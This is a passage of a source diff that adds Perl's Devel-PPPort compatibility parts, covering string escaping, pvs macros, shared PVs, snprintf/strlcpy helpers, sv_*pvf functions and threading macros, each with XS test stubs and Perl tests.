+ sv_catpvn(dsv, tmp, 1);
+ wrote++;
+ }
+ if (flags & PERL_PV_ESCAPE_FIRSTCHAR)
+ break;
+ }
+ if (escaped != NULL)
+ *escaped= pv - str;
+ return SvPVX(dsv);
+}
+
+#endif
+#endif
+
+#ifndef pv_pretty
+#if { NEED pv_pretty }
+
+char *
+pv_pretty(pTHX_ SV *dsv, char const * const str, const STRLEN count,
+ const STRLEN max, char const * const start_color, char const * const end_color,
+ const U32 flags)
+{
+ const U8 dq = (flags & PERL_PV_PRETTY_QUOTE) ? '"' : '%';
+ STRLEN escaped;
+
+ if (!(flags & PERL_PV_PRETTY_NOCLEAR))
+ sv_setpvs(dsv, "");
+
+ if (dq == '"')
+ sv_catpvs(dsv, "\"");
+ else if (flags & PERL_PV_PRETTY_LTGT)
+ sv_catpvs(dsv, "<");
+
+ if (start_color != NULL)
+ sv_catpv(dsv, D_PPP_CONSTPV_ARG(start_color));
+
+ pv_escape(dsv, str, count, max, &escaped, flags | PERL_PV_ESCAPE_NOCLEAR);
+
+ if (end_color != NULL)
+ sv_catpv(dsv, D_PPP_CONSTPV_ARG(end_color));
+
+ if (dq == '"')
+ sv_catpvs(dsv, "\"");
+ else if (flags & PERL_PV_PRETTY_LTGT)
+ sv_catpvs(dsv, ">");
+
+ if ((flags & PERL_PV_PRETTY_ELLIPSES) && escaped < count)
+ sv_catpvs(dsv, "...");
+
+ return SvPVX(dsv);
+}
+
+#endif
+#endif
+
+#ifndef pv_display
+#if { NEED pv_display }
+
+char *
+pv_display(pTHX_ SV *dsv, const char *pv, STRLEN cur, STRLEN len, STRLEN pvlim)
+{
+ pv_pretty(dsv, pv, cur, pvlim, NULL, NULL, PERL_PV_PRETTY_DUMP);
+ if (len > cur && pv[cur] == '\0')
+ sv_catpvs(dsv, "\\0");
+ return SvPVX(dsv);
+}
+
+#endif
+#endif
+
+=xsinit
+
+#define NEED_pv_escape
+#define NEED_pv_pretty
+#define NEED_pv_display
+
+=xsubs
+
+void
+pv_escape_can_unicode()
+ PPCODE:
+#if defined(is_utf8_string) && defined(utf8_to_uvchr)
+ XSRETURN_YES;
+#else
+ XSRETURN_NO;
+#endif
+
+void
+pv_pretty()
+ PREINIT:
+ char *rv;
+ PPCODE:
+ EXTEND(SP, 8);
+ ST(0) = sv_newmortal();
+ rv = pv_pretty(ST(0), "foobarbaz",
+ 9, 40, NULL, NULL, 0);
+ ST(1) = sv_2mortal(newSVpv(rv, 0));
+ ST(2) = sv_newmortal();
+ rv = pv_pretty(ST(2), "pv_p\retty\n",
+ 10, 40, "left", "right", PERL_PV_PRETTY_LTGT);
+ ST(3) = sv_2mortal(newSVpv(rv, 0));
+ ST(4) = sv_newmortal();
+ rv = pv_pretty(ST(4), "N\303\275 Batter\303\255",
+ 12, 20, NULL, NULL, PERL_PV_ESCAPE_UNI_DETECT);
+ ST(5) = sv_2mortal(newSVpv(rv, 0));
+ ST(6) = sv_newmortal();
+ rv = pv_pretty(ST(6), "\303\201g\303\246tis Byrjun",
+ 15, 18, NULL, NULL, PERL_PV_ESCAPE_UNI_DETECT|PERL_PV_PRETTY_ELLIPSES);
+ ST(7) = sv_2mortal(newSVpv(rv, 0));
+ XSRETURN(8);
+
+void
+pv_display()
+ PREINIT:
+ char *rv;
+ PPCODE:
+ EXTEND(SP, 4);
+ ST(0) = sv_newmortal();
+ rv = pv_display(ST(0), "foob\0rbaz", 9, 10, 20);
+ ST(1) = sv_2mortal(newSVpv(rv, 0));
+ ST(2) = sv_newmortal();
+ rv = pv_display(ST(2), "pv_display", 10, 11, 5);
+ ST(3) = sv_2mortal(newSVpv(rv, 0));
+ XSRETURN(4);
+
+=tests plan => 13
+
+my $uni = &Devel::PPPort::pv_escape_can_unicode();
+
+# sanity check
+ok($uni ? $] >= 5.006 : $] < 5.008);
+
+my @r;
+
+@r = &Devel::PPPort::pv_pretty();
+ok($r[0], $r[1]);
+ok($r[0], "foobarbaz");
+ok($r[2], $r[3]);
+ok($r[2], '<leftpv_p\retty\nright>');
+ok($r[4], $r[5]);
+skip(ord("A") != 65 ? "Skip for non-ASCII platform" : 0,
+ $r[4], $uni ? 'N\375 Batter\355' : 'N\303\275 Batter\303');
+ok($r[6], $r[7]);
+skip(ord("A") != 65 ? "Skip for non-ASCII platform" : 0,
+ $r[6], $uni ? '\301g\346tis Byrju...' : '\303\201g\303\246t...');
+
+@r = &Devel::PPPort::pv_display();
+ok($r[0], $r[1]);
+ok($r[0], '"foob\0rbaz"\0');
+ok($r[2], $r[3]);
+ok($r[2] eq '"pv_di"...\0' ||
+ $r[2] eq '"pv_d"...\0'); # some perl implementations are broken... :(
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/pvs b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/pvs
new file mode 100644
index 00000000000..b1be87b26bf
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/pvs
@@ -0,0 +1,154 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+__UNDEFINED__
+
+=implementation
+
+/* concatenating with "" ensures that only literal strings are accepted as argument
+ * note that STR_WITH_LEN() can't be used as argument to macros or functions that
+ * under some configurations might be macros
+ */
+
+__UNDEFINED__ STR_WITH_LEN(s) (s ""), (sizeof(s)-1)
+
+__UNDEFINED__ newSVpvs(str) newSVpvn(str "", sizeof(str) - 1)
+__UNDEFINED__ newSVpvs_flags(str, flags) newSVpvn_flags(str "", sizeof(str) - 1, flags)
+__UNDEFINED__ newSVpvs_share(str) newSVpvn_share(str "", sizeof(str) - 1, 0)
+__UNDEFINED__ sv_catpvs(sv, str) sv_catpvn(sv, str "", sizeof(str) - 1)
+__UNDEFINED__ sv_setpvs(sv, str) sv_setpvn(sv, str "", sizeof(str) - 1)
+__UNDEFINED__ hv_fetchs(hv, key, lval) hv_fetch(hv, key "", sizeof(key) - 1, lval)
+__UNDEFINED__ hv_stores(hv, key, val) hv_store(hv, key "", sizeof(key) - 1, val, 0)
+
+__UNDEFINED__ gv_fetchpvs(name, flags, svt) gv_fetchpvn_flags(name "", sizeof(name) - 1, flags, svt)
+__UNDEFINED__ gv_stashpvs(name, flags) gv_stashpvn(name "", sizeof(name) - 1, flags)
+
+__UNDEFINED__ get_cvs(name, flags) get_cvn_flags(name "", sizeof(name)-1, flags)
+
+=xsinit
+
+#define NEED_newSVpvn_share
+
+=xsubs
+
+void
+newSVpvs()
+ PPCODE:
+ mXPUSHs(newSVpvs("newSVpvs"));
+ XSRETURN(1);
+
+void
+newSVpvs_flags()
+ PPCODE:
+ XPUSHs(newSVpvs_flags("newSVpvs_flags", SVs_TEMP));
+ XSRETURN(1);
+
+int
+newSVpvs_share()
+ PREINIT:
+ SV *sv;
+ U32 hash;
+ CODE:
+ RETVAL = 0;
+ PERL_HASH(hash, "pvs", 3);
+ sv = newSVpvs_share("pvs");
+ RETVAL += strEQ(SvPV_nolen_const(sv), "pvs");
+ RETVAL += SvCUR(sv) == 3;
+ RETVAL += SvSHARED_HASH(sv) == hash;
+ SvREFCNT_dec(sv);
+ OUTPUT:
+ RETVAL
+
+void
+sv_catpvs(sv)
+ SV *sv
+ PPCODE:
+ sv_catpvs(sv, "sv_catpvs");
+
+void
+sv_setpvs(sv)
+ SV *sv
+ PPCODE:
+ sv_setpvs(sv, "sv_setpvs");
+
+void
+hv_fetchs(hv)
+ SV *hv
+ PREINIT:
+ SV **s;
+ PPCODE:
+ s = hv_fetchs((HV *) SvRV(hv), "hv_fetchs", 0);
+ XPUSHs(sv_mortalcopy(*s));
+ XSRETURN(1);
+
+void
+hv_stores(hv, sv)
+ SV *hv
+ SV *sv
+ PPCODE:
+ (void) hv_stores((HV *) SvRV(hv), "hv_stores", SvREFCNT_inc_simple(sv));
+
+SV*
+gv_fetchpvs()
+ CODE:
+ RETVAL = newRV_inc((SV*)gv_fetchpvs("Devel::PPPort::VERSION", 0, SVt_PV));
+ OUTPUT:
+ RETVAL
+
+SV*
+gv_stashpvs()
+ CODE:
+ RETVAL = newRV_inc((SV*)gv_stashpvs("Devel::PPPort", 0));
+ OUTPUT:
+ RETVAL
+
+int
+get_cvs()
+ PREINIT:
+ CV* xv;
+ CODE:
+ RETVAL = 0;
+ xv = get_cvs("Devel::PPPort::foobar", 0);
+ if(xv == NULL) RETVAL++;
+ xv = get_cvs("Devel::PPPort::foobar", GV_ADDMULTI);
+ if(xv && SvTYPE(xv) == SVt_PVCV) RETVAL++;
+ xv = get_cvs("Devel::PPPort::get_cvs", 0);
+ if(xv && SvTYPE(xv) == SVt_PVCV) RETVAL++;
+OUTPUT:
+ RETVAL
+
+
+=tests plan => 12
+
+my $x = 'foo';
+
+ok(Devel::PPPort::newSVpvs(), "newSVpvs");
+ok(Devel::PPPort::newSVpvs_flags(), "newSVpvs_flags");
+ok(Devel::PPPort::newSVpvs_share(), 3);
+
+Devel::PPPort::sv_catpvs($x);
+ok($x, "foosv_catpvs");
+
+Devel::PPPort::sv_setpvs($x);
+ok($x, "sv_setpvs");
+
+my %h = ('hv_fetchs' => 42);
+Devel::PPPort::hv_stores(\%h, 4711);
+ok(scalar keys %h, 2);
+ok(exists $h{'hv_stores'});
+ok($h{'hv_stores'}, 4711);
+ok(Devel::PPPort::hv_fetchs(\%h), 42);
+ok(Devel::PPPort::gv_fetchpvs(), \*Devel::PPPort::VERSION);
+ok(Devel::PPPort::gv_stashpvs(), \%Devel::PPPort::);
+
+ok(Devel::PPPort::get_cvs(), 3);
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/shared_pv b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/shared_pv
new file mode 100644
index 00000000000..921076fd320
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/shared_pv
@@ -0,0 +1,90 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+newSVpvn_share
+__UNDEFINED__
+
+=implementation
+
+/* Hint: newSVpvn_share
+ * The SVs created by this function only mimic the behaviour of
+ * shared PVs without really being shared. Only use if you know
+ * what you're doing.
+ */
+
+#ifndef newSVpvn_share
+
+#if { NEED newSVpvn_share }
+
+SV *
+newSVpvn_share(pTHX_ const char *src, I32 len, U32 hash)
+{
+ SV *sv;
+ if (len < 0)
+ len = -len;
+ if (!hash)
+ PERL_HASH(hash, (char*) src, len);
+ sv = newSVpvn((char *) src, len);
+ sv_upgrade(sv, SVt_PVIV);
+ SvIVX(sv) = hash;
+ SvREADONLY_on(sv);
+ SvPOK_on(sv);
+ return sv;
+}
+
+#endif
+
+#endif
+
+__UNDEFINED__ SvSHARED_HASH(sv) (0 + SvUVX(sv))
+
+=xsinit
+
+#define NEED_newSVpvn_share
+
+=xsubs
+
+int
+newSVpvn_share()
+ PREINIT:
+ const char *s;
+ SV *sv;
+ STRLEN len;
+ U32 hash;
+ CODE:
+ RETVAL = 0;
+ s = "mhx";
+ len = 3;
+ PERL_HASH(hash, (char *) s, len);
+ sv = newSVpvn_share(s, len, 0);
+ s = 0;
+ RETVAL += strEQ(SvPV_nolen_const(sv), "mhx");
+ RETVAL += SvCUR(sv) == len;
+ RETVAL += SvSHARED_HASH(sv) == hash;
+ SvREFCNT_dec(sv);
+ s = "foobar";
+ len = 6;
+ PERL_HASH(hash, (char *) s, len);
+ sv = newSVpvn_share(s, -(I32) len, hash);
+ s = 0;
+ RETVAL += strEQ(SvPV_nolen_const(sv), "foobar");
+ RETVAL += SvCUR(sv) == len;
+ RETVAL += SvSHARED_HASH(sv) == hash;
+ SvREFCNT_dec(sv);
+ OUTPUT:
+ RETVAL
+
+
+=tests plan => 1
+
+ok(&Devel::PPPort::newSVpvn_share(), 6);
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/snprintf b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/snprintf
new file mode 100644
index 00000000000..b700d8b8ef8
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/snprintf
@@ -0,0 +1,63 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+my_snprintf
+
+=implementation
+
+#if !defined(my_snprintf)
+#if { NEED my_snprintf }
+
+int
+my_snprintf(char *buffer, const Size_t len, const char *format, ...)
+{
+ dTHX;
+ int retval;
+ va_list ap;
+ va_start(ap, format);
+#ifdef HAS_VSNPRINTF
+ retval = vsnprintf(buffer, len, format, ap);
+#else
+ retval = vsprintf(buffer, format, ap);
+#endif
+ va_end(ap);
+ if (retval < 0 || (len > 0 && (Size_t)retval >= len))
+ Perl_croak(aTHX_ "panic: my_snprintf buffer overflow");
+ return retval;
+}
+
+#endif
+#endif
+
+=xsinit
+
+#define NEED_my_snprintf
+
+=xsubs
+
+void
+my_snprintf()
+ PREINIT:
+ char buf[128];
+ int len;
+ PPCODE:
+ len = my_snprintf(buf, sizeof buf, "foo%s%d", "bar", 42);
+ mXPUSHi(len);
+ mXPUSHs(newSVpv(buf, 0));
+ XSRETURN(2);
+
+=tests plan => 2
+
+my($l, $s) = Devel::PPPort::my_snprintf();
+ok($l, 8);
+ok($s, "foobar42");
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/sprintf b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/sprintf
new file mode 100644
index 00000000000..8d45411b4a9
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/sprintf
@@ -0,0 +1,55 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+my_sprintf
+
+=implementation
+
+#if !defined(my_sprintf)
+#if { NEED my_sprintf }
+
+int
+my_sprintf(char *buffer, const char* pat, ...)
+{
+ va_list args;
+ va_start(args, pat);
+ vsprintf(buffer, pat, args);
+ va_end(args);
+ return strlen(buffer);
+}
+
+#endif
+#endif
+
+=xsinit
+
+#define NEED_my_sprintf
+
+=xsubs
+
+void
+my_sprintf()
+ PREINIT:
+ char buf[128];
+ int len;
+ PPCODE:
+ len = my_sprintf(buf, "foo%s%d", "bar", 42);
+ mXPUSHi(len);
+ mXPUSHs(newSVpv(buf, 0));
+ XSRETURN(2);
+
+=tests plan => 2
+
+my($l, $s) = Devel::PPPort::my_sprintf();
+ok($l, 8);
+ok($s, "foobar42");
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/strlfuncs b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/strlfuncs
new file mode 100644
index 00000000000..82b5e435410
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/strlfuncs
@@ -0,0 +1,107 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+my_strlcat
+my_strlcpy
+
+=implementation
+
+#if !defined(my_strlcat)
+#if { NEED my_strlcat }
+
+Size_t
+my_strlcat(char *dst, const char *src, Size_t size)
+{
+ Size_t used, length, copy;
+
+ used = strlen(dst);
+ length = strlen(src);
+ if (size > 0 && used < size - 1) {
+ copy = (length >= size - used) ? size - used - 1 : length;
+ memcpy(dst + used, src, copy);
+ dst[used + copy] = '\0';
+ }
+ return used + length;
+}
+#endif
+#endif
+
+#if !defined(my_strlcpy)
+#if { NEED my_strlcpy }
+
+Size_t
+my_strlcpy(char *dst, const char *src, Size_t size)
+{
+ Size_t length, copy;
+
+ length = strlen(src);
+ if (size > 0) {
+ copy = (length >= size) ? size - 1 : length;
+ memcpy(dst, src, copy);
+ dst[copy] = '\0';
+ }
+ return length;
+}
+
+#endif
+#endif
+
+=xsinit
+
+#define NEED_my_strlcat
+#define NEED_my_strlcpy
+
+=xsubs
+
+void
+my_strlfunc()
+ PREINIT:
+ char buf[8];
+ int len;
+ PPCODE:
+ len = my_strlcpy(buf, "foo", sizeof(buf));
+ mXPUSHi(len);
+ mXPUSHs(newSVpv(buf, 0));
+ len = my_strlcat(buf, "bar", sizeof(buf));
+ mXPUSHi(len);
+ mXPUSHs(newSVpv(buf, 0));
+ len = my_strlcat(buf, "baz", sizeof(buf));
+ mXPUSHi(len);
+ mXPUSHs(newSVpv(buf, 0));
+ len = my_strlcpy(buf, "1234567890", sizeof(buf));
+ mXPUSHi(len);
+ mXPUSHs(newSVpv(buf, 0));
+ len = my_strlcpy(buf, "1234", sizeof(buf));
+ mXPUSHi(len);
+ mXPUSHs(newSVpv(buf, 0));
+ len = my_strlcat(buf, "567890123456", sizeof(buf));
+ mXPUSHi(len);
+ mXPUSHs(newSVpv(buf, 0));
+ XSRETURN(12);
+
+=tests plan => 13
+
+my @e = (3, 'foo',
+ 6, 'foobar',
+ 9, 'foobarb',
+ 10, '1234567',
+ 4, '1234',
+ 16, '1234567',
+ );
+my @r = Devel::PPPort::my_strlfunc();
+
+ok(@e == @r);
+
+for (0 .. $#e) {
+ ok($r[$_], $e[$_]);
+}
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/sv_xpvf b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/sv_xpvf
new file mode 100644
index 00000000000..3a6c8b0e98f
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/sv_xpvf
@@ -0,0 +1,313 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+vnewSVpvf
+sv_vcatpvf
+sv_vsetpvf
+
+sv_catpvf_mg
+sv_catpvf_mg_nocontext
+sv_vcatpvf_mg
+
+sv_setpvf_mg
+sv_setpvf_mg_nocontext
+sv_vsetpvf_mg
+
+=implementation
+
+#if { VERSION >= 5.004 } && !defined(vnewSVpvf)
+#if { NEED vnewSVpvf }
+
+SV *
+vnewSVpvf(pTHX_ const char *pat, va_list *args)
+{
+ register SV *sv = newSV(0);
+ sv_vsetpvfn(sv, pat, strlen(pat), args, Null(SV**), 0, Null(bool*));
+ return sv;
+}
+
+#endif
+#endif
+
+#if { VERSION >= 5.004 } && !defined(sv_vcatpvf)
+# define sv_vcatpvf(sv, pat, args) sv_vcatpvfn(sv, pat, strlen(pat), args, Null(SV**), 0, Null(bool*))
+#endif
+
+#if { VERSION >= 5.004 } && !defined(sv_vsetpvf)
+# define sv_vsetpvf(sv, pat, args) sv_vsetpvfn(sv, pat, strlen(pat), args, Null(SV**), 0, Null(bool*))
+#endif
+
+#if { VERSION >= 5.004 } && !defined(sv_catpvf_mg)
+#if { NEED sv_catpvf_mg }
+
+void
+sv_catpvf_mg(pTHX_ SV *sv, const char *pat, ...)
+{
+ va_list args;
+ va_start(args, pat);
+ sv_vcatpvfn(sv, pat, strlen(pat), &args, Null(SV**), 0, Null(bool*));
+ SvSETMAGIC(sv);
+ va_end(args);
+}
+
+#endif
+#endif
+
+#ifdef PERL_IMPLICIT_CONTEXT
+#if { VERSION >= 5.004 } && !defined(sv_catpvf_mg_nocontext)
+#if { NEED sv_catpvf_mg_nocontext }
+
+void
+sv_catpvf_mg_nocontext(SV *sv, const char *pat, ...)
+{
+ dTHX;
+ va_list args;
+ va_start(args, pat);
+ sv_vcatpvfn(sv, pat, strlen(pat), &args, Null(SV**), 0, Null(bool*));
+ SvSETMAGIC(sv);
+ va_end(args);
+}
+
+#endif
+#endif
+#endif
+
+/* sv_catpvf_mg depends on sv_catpvf_mg_nocontext */
+#ifndef sv_catpvf_mg
+# ifdef PERL_IMPLICIT_CONTEXT
+# define sv_catpvf_mg Perl_sv_catpvf_mg_nocontext
+# else
+# define sv_catpvf_mg Perl_sv_catpvf_mg
+# endif
+#endif
+
+#if { VERSION >= 5.004 } && !defined(sv_vcatpvf_mg)
+# define sv_vcatpvf_mg(sv, pat, args) \
+ STMT_START { \
+ sv_vcatpvfn(sv, pat, strlen(pat), args, Null(SV**), 0, Null(bool*)); \
+ SvSETMAGIC(sv); \
+ } STMT_END
+#endif
+
+#if { VERSION >= 5.004 } && !defined(sv_setpvf_mg)
+#if { NEED sv_setpvf_mg }
+
+void
+sv_setpvf_mg(pTHX_ SV *sv, const char *pat, ...)
+{
+ va_list args;
+ va_start(args, pat);
+ sv_vsetpvfn(sv, pat, strlen(pat), &args, Null(SV**), 0, Null(bool*));
+ SvSETMAGIC(sv);
+ va_end(args);
+}
+
+#endif
+#endif
+
+#ifdef PERL_IMPLICIT_CONTEXT
+#if { VERSION >= 5.004 } && !defined(sv_setpvf_mg_nocontext)
+#if { NEED sv_setpvf_mg_nocontext }
+
+void
+sv_setpvf_mg_nocontext(SV *sv, const char *pat, ...)
+{
+ dTHX;
+ va_list args;
+ va_start(args, pat);
+ sv_vsetpvfn(sv, pat, strlen(pat), &args, Null(SV**), 0, Null(bool*));
+ SvSETMAGIC(sv);
+ va_end(args);
+}
+
+#endif
+#endif
+#endif
+
+/* sv_setpvf_mg depends on sv_setpvf_mg_nocontext */
+#ifndef sv_setpvf_mg
+# ifdef PERL_IMPLICIT_CONTEXT
+# define sv_setpvf_mg Perl_sv_setpvf_mg_nocontext
+# else
+# define sv_setpvf_mg Perl_sv_setpvf_mg
+# endif
+#endif
+
+#if { VERSION >= 5.004 } && !defined(sv_vsetpvf_mg)
+# define sv_vsetpvf_mg(sv, pat, args) \
+ STMT_START { \
+ sv_vsetpvfn(sv, pat, strlen(pat), args, Null(SV**), 0, Null(bool*)); \
+ SvSETMAGIC(sv); \
+ } STMT_END
+#endif
+
+=xsinit
+
+#define NEED_vnewSVpvf
+#define NEED_sv_catpvf_mg
+#define NEED_sv_catpvf_mg_nocontext
+#define NEED_sv_setpvf_mg
+#define NEED_sv_setpvf_mg_nocontext
+
+=xsmisc
+
+static SV * test_vnewSVpvf(pTHX_ const char *pat, ...)
+{
+ SV *sv;
+ va_list args;
+ va_start(args, pat);
+#if { VERSION >= 5.004 }
+ sv = vnewSVpvf(pat, &args);
+#else
+ sv = newSVpv((char *) pat, 0);
+#endif
+ va_end(args);
+ return sv;
+}
+
+static void test_sv_vcatpvf(pTHX_ SV *sv, const char *pat, ...)
+{
+ va_list args;
+ va_start(args, pat);
+#if { VERSION >= 5.004 }
+ sv_vcatpvf(sv, pat, &args);
+#else
+ sv_catpv(sv, (char *) pat);
+#endif
+ va_end(args);
+}
+
+static void test_sv_vsetpvf(pTHX_ SV *sv, const char *pat, ...)
+{
+ va_list args;
+ va_start(args, pat);
+#if { VERSION >= 5.004 }
+ sv_vsetpvf(sv, pat, &args);
+#else
+ sv_setpv(sv, (char *) pat);
+#endif
+ va_end(args);
+}
+
+=xsubs
+
+SV *
+vnewSVpvf()
+ CODE:
+ RETVAL = test_vnewSVpvf(aTHX_ "%s-%d", "Perl", 42);
+ OUTPUT:
+ RETVAL
+
+SV *
+sv_vcatpvf(sv)
+ SV *sv
+ CODE:
+ RETVAL = newSVsv(sv);
+ test_sv_vcatpvf(aTHX_ RETVAL, "%s-%d", "Perl", 42);
+ OUTPUT:
+ RETVAL
+
+SV *
+sv_vsetpvf(sv)
+ SV *sv
+ CODE:
+ RETVAL = newSVsv(sv);
+ test_sv_vsetpvf(aTHX_ RETVAL, "%s-%d", "Perl", 42);
+ OUTPUT:
+ RETVAL
+
+void
+sv_catpvf_mg(sv)
+ SV *sv
+ CODE:
+#if { VERSION >= 5.004 }
+ sv_catpvf_mg(sv, "%s-%d", "Perl", 42);
+#endif
+
+void
+Perl_sv_catpvf_mg(sv)
+ SV *sv
+ CODE:
+#if { VERSION >= 5.004 }
+ Perl_sv_catpvf_mg(aTHX_ sv, "%s-%d", "-Perl", 43);
+#endif
+
+void
+sv_catpvf_mg_nocontext(sv)
+ SV *sv
+ CODE:
+#if { VERSION >= 5.004 }
+#ifdef PERL_IMPLICIT_CONTEXT
+ sv_catpvf_mg_nocontext(sv, "%s-%d", "-Perl", 44);
+#else
+ sv_catpvf_mg(sv, "%s-%d", "-Perl", 44);
+#endif
+#endif
+
+void
+sv_setpvf_mg(sv)
+ SV *sv
+ CODE:
+#if { VERSION >= 5.004 }
+ sv_setpvf_mg(sv, "%s-%d", "mhx", 42);
+#endif
+
+void
+Perl_sv_setpvf_mg(sv)
+ SV *sv
+ CODE:
+#if { VERSION >= 5.004 }
+ Perl_sv_setpvf_mg(aTHX_ sv, "%s-%d", "foo", 43);
+#endif
+
+void
+sv_setpvf_mg_nocontext(sv)
+ SV *sv
+ CODE:
+#if { VERSION >= 5.004 }
+#ifdef PERL_IMPLICIT_CONTEXT
+ sv_setpvf_mg_nocontext(sv, "%s-%d", "bar", 44);
+#else
+ sv_setpvf_mg(sv, "%s-%d", "bar", 44);
+#endif
+#endif
+
+=tests plan => 9
+
+use Tie::Hash;
+my %h;
+tie %h, 'Tie::StdHash';
+$h{foo} = 'foo-';
+$h{bar} = '';
+
+ok(&Devel::PPPort::vnewSVpvf(), $] >= 5.004 ? 'Perl-42' : '%s-%d');
+ok(&Devel::PPPort::sv_vcatpvf('1-2-3-'), $] >= 5.004 ? '1-2-3-Perl-42' : '1-2-3-%s-%d');
+ok(&Devel::PPPort::sv_vsetpvf('1-2-3-'), $] >= 5.004 ? 'Perl-42' : '%s-%d');
+
+&Devel::PPPort::sv_catpvf_mg($h{foo});
+ok($h{foo}, $] >= 5.004 ? 'foo-Perl-42' : 'foo-');
+
+&Devel::PPPort::Perl_sv_catpvf_mg($h{foo});
+ok($h{foo}, $] >= 5.004 ? 'foo-Perl-42-Perl-43' : 'foo-');
+
+&Devel::PPPort::sv_catpvf_mg_nocontext($h{foo});
+ok($h{foo}, $] >= 5.004 ? 'foo-Perl-42-Perl-43-Perl-44' : 'foo-');
+
+&Devel::PPPort::sv_setpvf_mg($h{bar});
+ok($h{bar}, $] >= 5.004 ? 'mhx-42' : '');
+
+&Devel::PPPort::Perl_sv_setpvf_mg($h{bar});
+ok($h{bar}, $] >= 5.004 ? 'foo-43' : '');
+
+&Devel::PPPort::sv_setpvf_mg_nocontext($h{bar});
+ok($h{bar}, $] >= 5.004 ? 'bar-44' : '');
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/threads b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/threads
new file mode 100644
index 00000000000..9a8f6ac4b30
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/threads
@@ -0,0 +1,68 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+__UNDEFINED__
+aTHXR
+aTHXR_
+dTHXR
+
+=implementation
+
+__UNDEFINED__ dTHR dNOOP
+
+__UNDEFINED__ dTHX dNOOP
+__UNDEFINED__ dTHXa(x) dNOOP
+
+__UNDEFINED__ pTHX void
+__UNDEFINED__ pTHX_
+__UNDEFINED__ aTHX
+__UNDEFINED__ aTHX_
+
+#if { VERSION < 5.6.0 }
+# ifdef USE_THREADS
+# define aTHXR thr
+# define aTHXR_ thr,
+# else
+# define aTHXR
+# define aTHXR_
+# endif
+# define dTHXR dTHR
+#else
+# define aTHXR aTHX
+# define aTHXR_ aTHX_
+# define dTHXR dTHX
+#endif
+
+__UNDEFINED__ dTHXoa(x) dTHXa(x)
+
+=xsubs
+
+IV
+no_THX_arg(sv)
+ SV *sv
+ CODE:
+ RETVAL = 1 + sv_2iv(sv);
+ OUTPUT:
+ RETVAL
+
+void
+with_THX_arg(error)
+ SV *error
+ PPCODE:
+ croak_sv(error);
+
+=tests plan => 2
+
+ok(&Devel::PPPort::no_THX_arg("42"), 43);
+eval { &Devel::PPPort::with_THX_arg("yes\n"); };
+ok($@ =~ /^yes/);
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/uv b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/uv
new file mode 100644
index 00000000000..c1831e9c06a
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/uv
@@ -0,0 +1,122 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
